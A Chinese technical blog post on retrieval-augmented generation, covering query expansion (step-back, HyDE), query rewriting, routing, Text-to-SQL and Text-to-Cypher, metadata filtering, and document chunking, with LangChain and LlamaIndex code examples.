后退提示(Step-Back Prompting) 是 Google DeepMind 团队在论文 Take a Step Back: Evoking Reasoning via Abstraction in Large Language Models 中提出的一种新的提示技术,我在 之前的笔记中 已经介绍过后退提示的基本原理。总的来说,它基于用户的原始问题生成一个后退问题,后退问题相比原始问题具有更高级别的概念或原则,从而提高解决复杂问题的效果,例如一个关于物理学的问题可以后退为一个关于该问题背后的物理原理的问题,然后对原始问题和后退问题进行检索。
很显然,后退提示也可以在 RAG 中作为一种查询扩展的方法,这里 是基于后退提示实现 RAG 问答的一个示例,其中生成后退问题的 Prompt 如下:
You are an expert of world knowledge. I am going to ask you a question. \
Your response should be comprehensive and not contradicted with the following \
context if they are relevant. Otherwise, ignore them if they are not relevant.
{normal_context}
{step_back_context}
Original Question: {question}
Answer:
当我们使用基于相似性的向量检索时,在原始问题上进行检索可能效果不佳,因为它们的嵌入可能与相关文档的嵌入不太相似,但是,如果让大模型生成一个假设的相关文档,然后使用它来执行相似性检索可能会得到意想不到的结果。这就是 假设性文档嵌入(Hypothetical Document Embeddings,HyDE) 背后的关键思想。
HyDE 是 Luyu Gao 在 Precise Zero-Shot Dense Retrieval without Relevance Labels 这篇论文中提出的一种方法,它的思路非常有意思,首先通过大模型为用户问题生成答案,不管答案是否正确,然后计算生成的答案的嵌入,并进行向量检索,生成的答案虽然可能是错误的,但是通过它却可能比原问题更好地检索出正确的答案片段。
这里 是 LangChain 通过 HyDE 生成假设性文档的示例。
LlamaIndex 也提供了一个类 HyDEQueryTransform
来实现 HyDE,这里 是示例代码,同时文档也提到了使用 HyDE 可能出现的两个失败场景:
通过查询扩展不仅可以将用户冗余的问题拆解成多个子问题,便于更精确的检索;而且可以基于用户的问题生成更多角度的提问,这意味着对用户问题进行全方位分析,加大了搜索范围,所以会检索出更多优质内容。
但是查询扩展的最大缺点是太慢,而且费钱,因为需要大模型来生成子问题,这属于时间换效果,而且生成多个问题容易产生漂移,导致大模型输出的内容过于详细甚至偏题。
用户输入可能表达不清晰或措辞不当,一个典型的例子是用户输入中包含大量冗余的信息,看下面这个例子:
hi there! I want to know the answer to a question. is that okay?
lets assume it is. my name is harrison, the ceo of langchain.
i like llms and openai. who is maisie peters?
我们想要回答的真正问题是 “who is maisie peters?”,但用户输入中有很多分散注意力的文本,如果直接拿着原始文本去检索,可能检索出很多无关的内容。为解决这个问题,我们可以不使用原始输入,而是从用户输入生成搜索查询。Xinbei Ma 等人提出了一种 Rewrite-Retrieve-Read 的方法,对用户的输入进行改写,以改善检索效果,这里是论文地址,实现方法其实很简单,通过下面的 Prompt 让大模型基于用户的输入给出一个更好的查询:
template = """Provide a better search query for \
web search engine to answer the given question, end \
the queries with ’**’. Question: \
{x} Answer:"""
rewrite_prompt = ChatPromptTemplate.from_template(template)
具体实现可以参考 LangChain 的这个 cookbook。
除了处理表达不清的用户输入,查询重写还经常用于处理聊天场景中的 后续问题(Follow Up Questions)。比如用户首先问 “合肥有哪些好玩的地方?”,接着用户又问 “那里有什么好吃的?”,如果直接用最后一句话进行嵌入和检索,就会丢失 “合肥” 这样的重要信息,这时,我们就可以用大模型来做问题重写来解决这个问题。
在开源网页搜索助手 WebLangChain 中,使用了如下的 Prompt 来实现问题重写:
Given the following conversation and a follow up question, rephrase the follow up \
question to be a standalone question.
Chat History:
{chat_history}
Follow Up Input: {question}
Standalone Question:
在一些 RAG 应用程序中,用户可能是以聊天对话的形式与系统交互的,为了正确回答用户的问题,我们需要考虑完整的对话上下文,为了解决这个问题,可以将聊天历史压缩成最终问题以便检索,可以 参考这个 Prompt。
在经过第一步查询转换后,我们已经将用户问题转换成易于检索的形式,接下来我们就要开始检索了。但是从哪里检索呢?有很多 RAG 示例都是从单一数据存储中检索。但是为了更好的组织数据,我们通常会将不同的数据存储在不同的库中;在真正的生产环境中,情况可能会更复杂,数据甚至可能存储在多个不同种类的库中,比如,向量数据库,关系型数据库,图数据库,甚至是 API 接口。这时我们需要对传入的用户问题进行动态路由,根据不同的用户问题检索不同的库。
这篇教程 介绍了 LangChain 中实现路由的两种方式,第一种方式是使用大模型将用户问题路由到一组自定义的子链,这些子链可以是不同的大模型,也可以是不同的向量存储,LangChain 提供了 RunnableLambda
和 RunnableBranch
两个类帮助我们快速实现这个功能,其中 RunnableLambda
是推荐的做法,用户可以在 route
方法中自定义路由逻辑:
def route(info):
if "anthropic" in info["topic"].lower():
return anthropic_chain
elif "langchain" in info["topic"].lower():
return langchain_chain
else:
return general_chain
from langchain_core.runnables import RunnableLambda
full_chain = {"topic": chain, "question": lambda x: x["question"]} | RunnableLambda(
route
)
print(full_chain.invoke({"question": "how do I use Anthropic?"}))
另一种方法是计算用户问题和子链 Prompt 的嵌入向量,将最相似的子链作为下一步路由:
def prompt_router(input):
query_embedding = embeddings.embed_query(input["query"])
similarity = cosine_similarity([query_embedding], prompt_embeddings)[0]
most_similar = prompt_templates[similarity.argmax()]
print("Using MATH" if most_similar == math_template else "Using PHYSICS")
return PromptTemplate.from_template(most_similar)
可以看到 LangChain 的路由功能非常地原始,连路由的 Prompt 都需要用户自己定义。相比来说,LlamaIndex 的路由器 显得就要高级得多,它可以根据用户的输入从一堆带有元数据的选项中动态地选择一个或多个。
LlamaIndex 将动态选择的过程抽象为选择器,并且内置了一些选择器,比如 LLMSingleSelector
和 LLMMultiSelector
通过 Prompt 让大模型返回一个或多个选项,PydanticSingleSelector
和 PydanticMultiSelector
则是通过 Function Call 功能来实现的。这里选择的选项可以是 查询引擎(Query Engines) 或 检索器(Retrievers),甚至是任何用户自定义的东西,下面的代码演示了如何使用 LlamaIndex 的 RouterQueryEngine 实现根据用户的输入在多个查询引擎中动态选择其中一个:
# convert query engines to tools
list_tool = QueryEngineTool.from_defaults(
query_engine=list_query_engine,
description="Useful for summarization questions related to Paul Graham eassy on What I Worked On.",
)
vector_tool = QueryEngineTool.from_defaults(
query_engine=vector_query_engine,
description="Useful for retrieving specific context from Paul Graham essay on What I Worked On.",
)
# routing engine tools with a selector
query_engine = RouterQueryEngine(
selector=PydanticSingleSelector.from_defaults(),
query_engine_tools=[
list_tool,
vector_tool,
],
)
response = query_engine.query("What is the summary of the document?")
和 RouterQueryEngine 类似,使用 RouterRetriever 可以根据用户的输入动态路由到不同的检索器。此外,LlamaIndex 官方还有一些路由器的其他示例,比如 SQL Router Query Engine 这个示例演示了自定义路由器来路由到 SQL 数据库或向量数据库;Retriever Router Query Engine 这个示例演示了使用 ToolRetrieverRouterQueryEngine
来解决选项过多可能导致超出大模型 token 限制的问题。
我们面临的第三个问题是:使用什么语法来检索数据?在上一步中,我们知道数据可能存储在关系型数据库或图数据库中,根据数据的类型,我们将其分为结构化、半结构化和非结构化三大类:
将自然语言与各种类型的数据无缝连接是一件极具挑战的事情。要从这些库中检索数据,必须使用特定的语法,而用户问题通常都是用自然语言提出的,所以我们需要将自然语言转换为特定的查询语法。这个过程被称为 查询构造(Query Construction)。
根据数据存储和数据类型的不同,查询构造可以分为以下几种常见的场景:
将自然语言翻译成 SQL 是一个非常热门的话题,已经有不少人对此展开了研究。通过向 LLM 提供一个自然语言问题以及相关的数据库表信息,可以轻松地完成文本到 SQL 的转换。
这个过程虽然简单,不过也有不少值得注意的问题和小技巧:
解决方法是将你的数据库信息详细地告诉大模型,包括数据表的描述信息,有哪些字段,字段类型分别是什么,表中有什么样的数据,等等。Nitarshan Rajkumar 等人在 Evaluating the Text-to-SQL Capabilities of Large Language Models 这篇论文中发现,对于 OpenAI Codex 模型来说,使用 CREATE TABLE
语句来描述数据库表信息可以得到最佳性能,此外,在 CREATE TABLE
语句后通过一条 SELECT
语句附加 3 行表中的数据样本,可以进一步改善大模型生成 SQL 的效果。
LangChain 提供的 SQLDatabase
类可以方便地得到这些信息:
db = SQLDatabase.from_uri(
"sqlite:///Chinook.db",
include_tables=['Track'],
sample_rows_in_table_info=3
)
print(db.table_info)
输出结果如下:
CREATE TABLE "Track" (
"TrackId" INTEGER NOT NULL,
"Name" NVARCHAR(200) NOT NULL,
"AlbumId" INTEGER,
"MediaTypeId" INTEGER NOT NULL,
"GenreId" INTEGER,
"Composer" NVARCHAR(220),
"Milliseconds" INTEGER NOT NULL,
"Bytes" INTEGER,
"UnitPrice" NUMERIC(10, 2) NOT NULL,
PRIMARY KEY ("TrackId"),
FOREIGN KEY("MediaTypeId") REFERENCES "MediaType" ("MediaTypeId"),
FOREIGN KEY("GenreId") REFERENCES "Genre" ("GenreId"),
FOREIGN KEY("AlbumId") REFERENCES "Album" ("AlbumId")
)
SELECT * FROM 'Track' LIMIT 3;
TrackId Name AlbumId MediaTypeId GenreId Composer Milliseconds Bytes UnitPrice
1 For Those About To Rock (We Salute You) 1 1 1 Angus Young, Malcolm Young, Brian Johnson 343719 11170334 0.99
2 Balls to the Wall 2 2 1 None 342562 5510424 0.99
3 Fast As a Shark 3 2 1 F. Baltes, S. Kaufman, U. Dirkscneider & W. Hoffman 230619 3990994 0.99
有时候,前 3 行数据不足以完整地表达出表中数据的样貌,这时我们可以手工构造数据样本;有时候,表中数据存在敏感信息,我们也可以使用伪造的假数据来代替真实情况。
使用 LangChain 提供的 create_sql_query_chain
可以方便地实现 Text-to-SQL 功能:
from langchain_community.utilities import SQLDatabase
from langchain_openai import ChatOpenAI
from langchain.chains import create_sql_query_chain
db = SQLDatabase.from_uri("sqlite:///./sqlite/Chinook.db")
llm = ChatOpenAI(model="gpt-3.5-turbo", temperature=0)
chain = create_sql_query_chain(llm, db)
response = chain.invoke({"question": "How many employees are there"})
使用 LangChain 提供的 create_sql_agent
可以实现更智能的 Text-to-SQL 功能,包括 SQL 的生成,检查,执行,重试等:
from langchain_community.utilities import SQLDatabase
from langchain_openai import ChatOpenAI
from langchain_community.agent_toolkits import create_sql_agent
db = SQLDatabase.from_uri("sqlite:///./sqlite/Chinook.db")
llm = ChatOpenAI(model="gpt-3.5-turbo", temperature=0)
agent_executor = create_sql_agent(llm, db=db, agent_type="openai-tools", verbose=True)
response = agent_executor.invoke({
"input": "List the total sales per country. Which country's customers spent the most?"
})
具体内容可以参考 LangChain 的文档 Q&A over SQL + CSV。
LlamaIndex 的 NLSQLTableQueryEngine 同样可以实现类似的 Text-to-SQL 功能:
from llama_index.llms.openai import OpenAI
from sqlalchemy import create_engine
from llama_index.core import SQLDatabase
from llama_index.core.query_engine import NLSQLTableQueryEngine
llm = OpenAI(temperature=0.1, model="gpt-3.5-turbo")
engine = create_engine("sqlite:///./sqlite/Chinook.db")
sql_database = SQLDatabase(engine, include_tables=["Employee"])
query_engine = NLSQLTableQueryEngine(
sql_database=sql_database, tables=["Employee"], llm=llm
)
response = query_engine.query("How many employees are there?")
为了大模型能生成准确的 SQL,我们必须将数据库表的信息完整的送入大模型的上下文中,如果数据库表或列过多,就会超出大模型的 token 限制。这时,我们必须找到方法,动态地仅插入最相关的信息到提示中。我们可以使用 LangChain 内置的 create_extraction_chain_pydantic 链来实现这点,它通过 OpenAI 的 funtion call 功能动态地挑出和用户问题最相关的表,然后再基于这些表生成 SQL 语句;LlamaIndex 的 SQLTableRetrieverQueryEngine 也实现了同样的功能,它通过为每个表生成一个嵌入向量来实现这一点。
此外,生成 SQL 并执行后,我们通常需要将执行结果送到大模型的上下文中,以便它能回答用户的问题。但是如果查询结果过多,同样会超出大模型的 token 限制。因此,我们要对 SQL 输出的大小合理地进行限制,比如让大模型尽可能少地使用列并限制返回行数来实现这一点。
如果在执行大模型生成的 SQL 时出现语法错误,可以参考我们人类自己是如何解决这类问题的。通常我们会查看报错信息,然后去查询关于报错信息的资料,以便对错误的语法进行纠正。这篇博客 介绍了如何通过 Prompt 让大模型自动地做到这一点,将原始查询和报错信息发送给大模型,并要求它纠正,大模型就可以理解出了什么问题,从而生成更加精准的 SQL 查询。下面是作者所使用的 Prompt:
error_prompt = f"""{query.sql}
The query above produced the following error:
{query.error}
Rewrite the query with the error fixed:"""
这里 是基于 LangChain 的实现。
以上三点是处理 Text-to-SQL 时要面对的基本问题和解决思路,还有一些优化方法可以进一步地提高 Text-to-SQL 的效果:
在 Nitarshan Rajkumar 等人的研究 中,他们发现给大模型一些问题和对应 SQL 查询的示例,可以提高 SQL 生成的准确性;LangChain 的这个示例 中介绍了如何构造 SQL 查询的少样本示例,以及如何通过 SemanticSimilarityExampleSelector
根据用户的问题动态的选择不同的少样本示例。
一些用户发现,让大模型将问题分解成多个子查询,有助于得到正确答案,如果让大模型对每个子查询进行注释,效果更好,这有点类似于之前学习过的 CoT 或 PoT 等提示技术,将一个大问题拆分成多个子查询,会迫使大模型按逻辑逐步思考,而且每一步相对来说更简单,从而出错概率降低。
高基数列(High-cardinality columns) 是指一个数据列中包含的不同数值的个数较多,即列中数据的唯一性较高,重复率较低,比如姓名、地址、歌曲名称等这些专有名词的列。如果生成的 SQL 语句中包含这样的列,我们首先需要仔细检查拼写,以确保能正确地过滤数据,因为用户输入这些名称时往往会使用一些别名或拼写错误。
由于高基数列中的数据基本上不重复或者重复率非常低,所以我们可以想办法将用户的输入关联到正确的名称上,从而实现准确的查询。最简单的做法是创建一个向量存储,将数据库中存在的所有专有名词的向量存储进去,然后就可以计算和用户输入最接近的专有名词。这里 和 这里 是基于 LangChain 的代码示例。
通过 Text-to-SQL 可以很好的回答关于结构化数据的问题,比如:公司一共有多少员工,公司里男女员工比例是多少,等等;但是有些用户问题不仅要对结构化字段进行过滤查询,还需要对非结构化字段进行语义检索,比如:1980 年上映了哪些有关外星人的电影?我们不仅要使用 year == 1980
对电影的上映年份进行过滤,还需要根据 外星人
从电影名称或描述中进行语义检索。
在关系型数据库中添加向量支持是实现混合数据检索的关键,这种混合类型的数据被称为 半结构化数据(semi-structured data),也就是说既有结构化数据,也有非结构化数据。比如使用 PostgreSQL 的 Pgvector 扩展 可以在表中增加向量列,这让我们可以使用自然语言与这些半结构化数据进行交互,将 SQL 的表达能力与语义检索相结合。
Pgvector 通过 <->
运算符在向量列上进行相似性检索,比如下面的 SQL 用于查询名称最为伤感的 3 首歌曲:
SELECT * FROM tracks ORDER BY name_embedding <-> {sadness_embedding} LIMIT 3;
也可以将语义检索和正常的 SQL 查询结合,比如下面的 SQL 用于查询 1980 年上映的有关外星人的电影:
SELECT * FROM movies WHERE year == 1980 ORDER BY name_embedding <-> {aliens_embedding} LIMIT 5;
Pgvector 也支持内积(
<#>
)、余弦距离(<=>
)和 L1 距离(<+>
)等运算符。
为了让大模型准确使用 Pgvector 的向量运算符,我们需要在 Prompt 里将 Pgvector 的语法告诉大模型,可以参考 Incoporating semantic similarity in tabular databases 这篇教程里的实现:
...
You can use an extra extension which allows you to run semantic similarity using <-> operator
on tables containing columns named "embeddings".
<-> operator can ONLY be used on embeddings columns.
The embeddings value for a given row typically represents the semantic meaning of that row.
The vector represents an embedding representation of the question, given below.
Do NOT fill in the vector values directly, but rather specify a `[search_word]` placeholder,
which should contain the word that would be embedded for filtering.
For example, if the user asks for songs about 'the feeling of loneliness' the query could be:
'SELECT "[whatever_table_name]"."SongName" FROM "[whatever_table_name]" ORDER BY "embeddings" <-> '[loneliness]' LIMIT 5'
...
这篇教程详细介绍了如何使用 LangChain 实现基于 Pgvector 的语义检索,并将 Text-to-SQL + Semantic 总结为三种场景:
查询名称最为伤感的 3 首歌曲
;查询 1980 年上映的有关外星人的电影
;从名称可爱的专辑中获取 5 首伤感的歌曲
;在 LlamaIndex 中,也有一个 PGVectorSQLQueryEngine
类用于实现 Pgvector 的语义检索,参考 Text-to-SQL with PGVector 这篇教程。
很多向量数据库都具备 元数据过滤(metadata filters) 的功能,这和关系型数据库的半结构化数据很像(参考上面的 Text-to-SQL + Semantic 一节),可以把带元数据的向量数据库看成有一个向量列的关系型数据表。下面是 Chroma 的一个带元数据过滤的查询示例:
collection.query(
query_texts=["query1", "query2"],
n_results=10,
where={"metadata_field": "is_equal_to_this"},
where_document={"$contains":"search_string"}
)
Chroma 不仅支持 query_texts
参数实现语义检索,还支持 where
参数实现类似 SQL 的结构化过滤,为了生成这样的查询语法,我们可以使用 LangChain 提供的 自查询检索器(Self Query Retriever):
document_content_description = "Brief summary of a movie"
metadata_field_info = [
AttributeInfo(name="genre", description="The genre of the movie", type="string or list[string]"),
AttributeInfo(name="year", description="The year the movie was released", type="integer" ),
AttributeInfo(name="director", description="The name of the movie director", type="string" ),
AttributeInfo(name="rating", description="A 1-10 rating for the movie", type="float"),
]
retriever = SelfQueryRetriever.from_llm(
llm, vectorstore, document_content_description, metadata_field_info, verbose=True
)
response = retriever.invoke("What are some movies about dinosaurs")
首先我们对整个文档以及文档包含的元数据字段做一个大致的描述,然后通过 SelfQueryRetriever.from_llm()
构造自查询检索器,检索器可以对自然语言问题进行解释,将问题转换成用于语义检索的查询语句(被称为 Query)和用于元数据过滤的过滤器语法(被称为 Filters),由于 LangChain 集成了大量的向量数据库,每个向量数据库的过滤器语法都可能不一样,所以 LangChain 设计了一套中间语法,让大模型根据这套语法规则生成过滤器语句,然后通过 StructuredQueryOutputParser
将过滤器语句解析为 StructuredQuery
对象(使用 lark-parser 实现),再由各个向量数据库的 structured_query_translator
将其转换为各自的查询语法。
如果对这套中间语法感兴趣,可以使用 get_query_constructor_prompt()
查看 SelfQueryRetriever
内置的 Prompt:
from langchain.chains.query_constructor.base import get_query_constructor_prompt
prompt = get_query_constructor_prompt(document_content_description, metadata_field_info)
print(prompt.format(query="dummy question"))
通过这个 Prompt 我们可以手动构造 StructuredQuery
对象:
from langchain.chains.query_constructor.base import StructuredQueryOutputParser
output_parser = StructuredQueryOutputParser.from_components()
query_constructor = prompt | llm | output_parser
response = query_constructor.invoke({
"query": "Songs by Taylor Swift or Katy Perry about teenage romance under 3 minutes long in the dance pop genre"
})
生成的过滤器语法类似于下面这样:
and(
or(
eq("artist", "Taylor Swift"),
eq("artist", "Katy Perry")
),
lt("length", 180),
eq("genre", "pop")
)
具体内容可以 参考这里,除此之外,Building hotel room search with self-querying retrieval 这篇教程使用自查询检索器实现了酒店数据的问答,感兴趣的同学可以一并参考。
同样,在 LlamaIndex 中也支持对向量数据库进行元数据过滤,这个功能被叫做 Auto-Retrieval,并抽象成 VectorIndexAutoRetriever 类,同时,LlamaIndex 也对不少的向量数据库做了集成,比如 Pinecone、Chroma、Elasticsearch、Vectara、Lantern、BagelDB 等。
下面是 VectorIndexAutoRetriever
的使用示例,和 SelfQueryRetriever
很像:
from llama_index.core.vector_stores.types import MetadataInfo, VectorStoreInfo
from llama_index.core.retrievers import VectorIndexAutoRetriever
vector_store_info = VectorStoreInfo(
content_info="brief biography of celebrities",
metadata_info=[
MetadataInfo(name="category", type="str", description="Category of the celebrity, one of [Sports, Entertainment, Business, Music]"),
MetadataInfo(name="country", type="str", description="Country of the celebrity, one of [United States, Barbados, Portugal]"),
],
)
retriever = VectorIndexAutoRetriever(
index, vector_store_info=vector_store_info
)
response = retriever.retrieve("Tell me about Sports celebrities from United States")
和 Text-to-SQL 一样,元数据过滤也面临着大模型生成的过滤条件可能和库中的元数据无法完全匹配的问题,比如:库中的字段是大写,而用户的输入是小写,库中的字段是全称,而用户的输入是简称,这时我们也可以借鉴 Text-to-SQL 中的优化手段,比如自定义 Prompt 或 根据用户输入动态选择样本,这里 是 LlamaIndex 的示例。此外,LlamaIndex 官网还有一篇使用元数据过滤实现 多文档检索(或者叫结构化分层检索)) 的示例。
向量数据库可以轻松处理非结构化数据,但它们无法理解向量之间的关系;SQL 数据库可以建模表之间的关系,但是却不擅长建模数据之间的关系,特别是多对多关系或难以在表格形式中表示的层次结构的数据;图数据库可以通过建模数据之间的关系并扩展关系类型来解决这些挑战。
和 SQL 一样,Cypher) 是一种对图数据库进行查询的结构化查询语言。LangChain 中提供的 GraphCypherQAChain
让我们可以方便地将自然语言翻译成 Cypher 语言,从而实现基于图数据库的问答:
from langchain_openai import ChatOpenAI
from langchain.chains import GraphCypherQAChain
chain = GraphCypherQAChain.from_llm(
ChatOpenAI(temperature=0), graph=graph, verbose=True
)
response = chain.invoke({"query": "Who played in Top Gun?"})
值得注意的是,Cypher 是最流行的图数据库查询语言之一,可以用在很多不同的图数据库中,比如 Neo4j、Amazon Neptune 等等,但是还有很多图数据库使用了其他的查询语言,比如 Nebula Graph 使用的是 nGQL,HugeGraph 使用的是 Gremlin 等等,我们在编写 Prompt 的时候也要稍加区别。
和 LangChain 一样,LlamaIndex 也支持图数据库的问答,我们可以使用 KnowledgeGraphRAGRetriever 来实现,它的用法如下:
from llama_index.core.query_engine import RetrieverQueryEngine
from llama_index.core.retrievers import KnowledgeGraphRAGRetriever
graph_rag_retriever = KnowledgeGraphRAGRetriever(storage_context=storage_context, verbose=True)
query_engine = RetrieverQueryEngine.from_args(
graph_rag_retriever,
)
不过要注意的是,这里对图数据库的查询实现和 LangChain 是不同的,KnowledgeGraphRAGRetriever
通过从用户问题中提取相关 实体(Entity),然后在图数据库中查询和这些实体有关联的子图(默认深度为 2,查询的模式可以是 embedding 或 keyword),从而构建出上下文,大模型基于查询出的子图来回答用户问题,所以这也被称为 (Sub)Graph RAG。
LlamaIndex 也支持 Text-to-Cypher 方式基于用户问题生成图查询语句,我们可以使用 KnowledgeGraphQueryEngine 来实现:
from llama_index.core.query_engine import KnowledgeGraphQueryEngine
query_engine = KnowledgeGraphQueryEngine(
storage_context=storage_context,
llm=llm,
graph_query_synthesis_prompt=graph_query_synthesis_prompt,
verbose=True,
)
不过当前的版本(0.10.25)支持得还不是很好,用户必须编写出合适的 Prompt 来能生成正确的 Cypher 语句。
LlamaIndex 也集成了不同的图数据库,比如 Neo4j Graph Store 或 Nebula Graph Store。
上面三步都是关于检索的,包括从哪里检索以及如何检索。第四个要考虑的问题是怎么存储我的数据?怎么设计我的索引?通过上面的学习我们知道,可以将数据存储到向量数据库、SQL 数据库或者图数据库中,针对这些不同的存储方式,我们又可以使用不同的索引策略。
构建向量索引是打造 RAG 系统中的关键步骤之一。在上面的 LlamaIndex 实战一节,我们使用 VectorStoreIndex 快速将文档构建成向量索引:
from llama_index.core import VectorStoreIndex
index = VectorStoreIndex.from_documents(documents)
默认情况下 VectorStoreIndex
将向量保存到内存中,可以通过 StorageContext
指定 Vector Store 将向量保存到向量数据库中,LlamaIndex 集成了大量的 Vector Store 实现,比如下面是集成 Chroma 的示例:
import chromadb
chroma_client = chromadb.EphemeralClient()
chroma_collection = chroma_client.create_collection("quickstart")
from llama_index.core import StorageContext
from llama_index.vector_stores.chroma import ChromaVectorStore
storage_context = StorageContext.from_defaults(
vector_store=ChromaVectorStore(chroma_collection=chroma_collection)
)
from llama_index.core import VectorStoreIndex
index = VectorStoreIndex.from_documents(
documents, storage_context=storage_context
)
很多向量数据库还支持元数据功能,我们可以将元数据与向量一起存储,然后使用元数据过滤器搜索某些日期或来源的信息,这在上面的 Text-to-metadata filters 一节中已经介绍过,此处略过。
LangChain 中没有 Index 和 StorageContext 概念,只有 Vector Store 的概念,所以 LangChain 构建向量索引的步骤看上去要精简的多:
from langchain_chroma import Chroma
db = Chroma.from_documents(documents, OpenAIEmbeddings())
构建向量索引有两个绕不开的话题,分块(Chunking)和嵌入(Embedding),下面将分节介绍。
几乎所有的大模型或嵌入模型,输入长度都是受限的,因此,你需要将文档进行分块,通过分块不仅可以确保我们嵌入的内容尽可能少地包含噪音,同时保证嵌入内容和用户查询之间具有更高的语义相关性。有很多种不同的分块策略,比如你可以按长度进行分割,保证每个分块大小适中,你也可以按句子或段落进行分割,防止将完整的句子切成两半。每种分块策略可能适用于不同的情况,我们要仔细斟酌这些策略的优点和缺点,确定他们的适用场景,这篇博客 对常见的分块策略做了一个总结。
文档分块是索引构建中的关键步骤,无论是 LangChain 还是 LlamaIndex 都提供了大量的文档分块的方法,可以参考 LangChain 的 Text Splitters 或 LlamaIndex 的 Node Parser 或 Text Splitters 文档。
这是最常见也是最直接的分块策略,文档被分割成固定大小的分块,分块之间可以保留一些重叠,以确保不会出现语义相关的内容被不自然地拆分的情况。在大多数情况下,固定大小分块都是最佳选择,与其他形式的分块相比,它既廉价又简单易用,而且不需要使用任何自然语言处理库。
分块大小是一个需要深思熟虑的参数,它取决于你所使用的嵌入模型的 token 容量,比如,基于 BERT 的 sentence-transformer
最多只能处理 512 个 token,而 OpenAI 的 ada-002
能够处理 8191 个;另外这里也需要权衡大模型的 token 限制,由于分块大小直接决定了我们加载到大模型上下文窗口中的信息量,这篇博客 中对不同的分块大小进行了实验,可以看到不同的分块大小可以得到不同的性能表现。
在 LangChain 中,我们可以使用 CharacterTextSplitter 和 RecursiveCharacterTextSplitter 实现固定大小分块:
from langchain.text_splitter import CharacterTextSplitter
text_splitter = CharacterTextSplitter(
separator = "\n\n",
chunk_size = 256,
chunk_overlap = 20
)
docs = text_splitter.create_documents([text])
可以看到,分块参数中除了分块大小(chunk_size
)和分块间的重叠(chunk_overlap
)两个配置之外,还有一个分隔符(separator
)参数,CharacterTextSplitter
首先会按照分隔符进行分割,再对分割后的内容按大小分割,默认的分隔符是 \n\n
,这样可以保证不同的段落会被划分到不同的分块里,提高分块的效果。
RecursiveCharacterTextSplitter
被称为 递归分块(Recursive chunking),和 CharacterTextSplitter
的区别是它可以接受一组分隔符,比如 ["\n\n", "\n", " ", ""]
,它首先使用第一个分隔符对文本进行分块,如果第一次分块后长度仍然超出分块大小,则使用第二个,以此类推,通过这种递归迭代的过程,直到达到所需的块大小。
LlamaIndex 中的 TokenTextSplitter 和 SentenceSplitter 实现类似的功能,不过它没有递归分块的功能,只是简单的将分隔符分成单词间分隔符和段落间分隔符两个参数:
from llama_index.core.node_parser import SentenceSplitter
node_parser = SentenceSplitter(
separator=" ",
paragraph_separator="\n\n",
chunk_size=512,
chunk_overlap=0
)
nodes = node_parser.get_nodes_from_documents(docs, show_progress=False)
此外,使用固定大小分块时有一点要注意的是,大模型的上下文限制是 token 数量,而不是文本长度,因此当我们将文本分成块时,建议计算分块的 token 数量,比如使用 OpenAI 的 tiktoken 库。LangChain 中可以使用 TokenTextSplitter
或 CharacterTextSplitter.from_tiktoken_encoder()
来保证分块大小不超过 token 限制:
text_splitter = CharacterTextSplitter.from_tiktoken_encoder(
encoding="cl100k_base", chunk_size=100, chunk_overlap=0
)
texts = text_splitter.split_text(state_of_the_union)
很多模型都针对句子级内容的嵌入进行了优化,所以,如果我们能将文本按句子拆分,可以得到很好的嵌入效果。常见的句子拆分方法有下面几种:
.
)、中文句号(。
)或换行符等进行分割这种方法快速简单,但这种方法不会考虑所有可能的边缘情况,可能会破坏句子的完整性。使用上面所介绍的 CharacterTextSplitter
或 TokenTextSplitter
就可以实现。
NLTK 是一个流行的自然语言工具包,它提供了一个句子分词器(sentence tokenizer),可以将文本分割成句子,有助于创建更有意义的块。LangChain 中的 NLTKTextSplitter
就是基于 NLTK 实现的。
另外,LlamaIndex 中的 SentenceSplitter
和 SentenceWindowNodeParser
也可以实现句子拆分,默认也是基于 NLTK 实现的。
spaCy 是另一个强大的用于自然语言处理任务的 Python 库,它提供了复杂的句子分割功能,可以高效地将文本分割成单独的句子,从而在生成的块中更好地保留上下文。LangChain 中的 SpacyTextSplitter
就是基于 spaCy 实现的。
LangChain 的 Split by tokens 这篇文档还介绍了一些其他方法可供参考。
有很多文本文件具有特定的结构化内容,比如 Markdown、LaTeX、HTML 或 各种源码文件等,针对这种格式的内容可以使用一些专门的分块方法。
Markdown 是一种轻量级标记语言,通常用于格式化文本,通过识别 Markdown 语法(例如标题、列表和代码块),可以根据其结构和层次智能地划分内容,从而产生更具语义一致性的块。LangChain 的 MarkdownHeaderTextSplitter 就是基于这一想法实现的分块方法,它通过 Markdown 的标题来组织分组,然后再在特定标题组中创建分块。
LlamaIndex 的 MarkdownNodeParser 和 MarkdownElementNodeParser 提供了更精细化的分块,可以实现代码块或表格等元素的抽取。
HTML 是另一种流行的标记语言,我们也可以根据 HTML 中的特殊标记(例如 <h1>
、<h2>
、<table>
等)对其进行分块,和 MarkdownHeaderTextSplitter
类似,LangChain 中的 HTMLHeaderTextSplitter 根据标题来实现 HTML 的分块,HTMLSectionSplitter 能够在元素级别上分割文本,它基于指定的标签和字体大小进行分割,将具有相同元数据的元素组合在一起,以便将相关文本语义地分组,并在文档结构中保留丰富的上下文信息。
LlamaIndex 的 HTMLNodeParser 使用 Beautiful Soup 解析 HTML,它使用一些预定义的标签来对 HTML 进行分块。
LaTeX 是一种常用于学术论文和技术文档的文档准备系统和标记语言,通过解析 LaTeX 可以创建符合内容逻辑组织的块(例如章节、子章节和方程式),从而产生更准确和上下文相关的结果。LangChain 的 LatexTextSplitter
实现了 LaTex 格式的分块。
JSON 格式的分块需要考虑嵌套的 JSON 对象的完整性,通常按照深度优先的方式遍历 JSON 对象,并构建出较小的 JSON 块,参考 LangChain 的 RecursiveJsonSplitter 和 LlamaIndex 的 JSONNodeParser。
除了上面所说的 Markdown、HTML、JSON 等结构化文本,还有很多代码格式的文件,不同的编程语言拥有不同的关键字和语法,分块方式也略有区别。LangChain 为每种编程语言预定义了对应的分隔符,我们可以直接使用 RecursiveCharacterTextSplitter.from_language() 为特定语言创建文本分割器:
python_splitter = RecursiveCharacterTextSplitter.from_language(
language=Language.PYTHON, chunk_size=50, chunk_overlap=0
)
python_docs = python_splitter.create_documents([PYTHON_CODE])
SweepAI 的 Kevin Lu 提出了一种更加优雅的代码拆分解决方案,使用 AST 对代码语法进行解析,LlamaIndex 的 CodeSplitter 就是基于这种方案实现的。
这是一种实验性地分块技术,最初由 Greg Kamradt 提出,它在 The 5 Levels Of Text Splitting For Retrieval 这个视频中将分块技术划分为 5 个等级,其中 语义分块(Semantic chunking) 是第 4 级。它的基本原理如下:
这里 是对应的代码实现。
LangChain 的 SemanticChunker 和 LlamaIndex 的 SemanticSplitterNodeParser 都实现了语义分块。
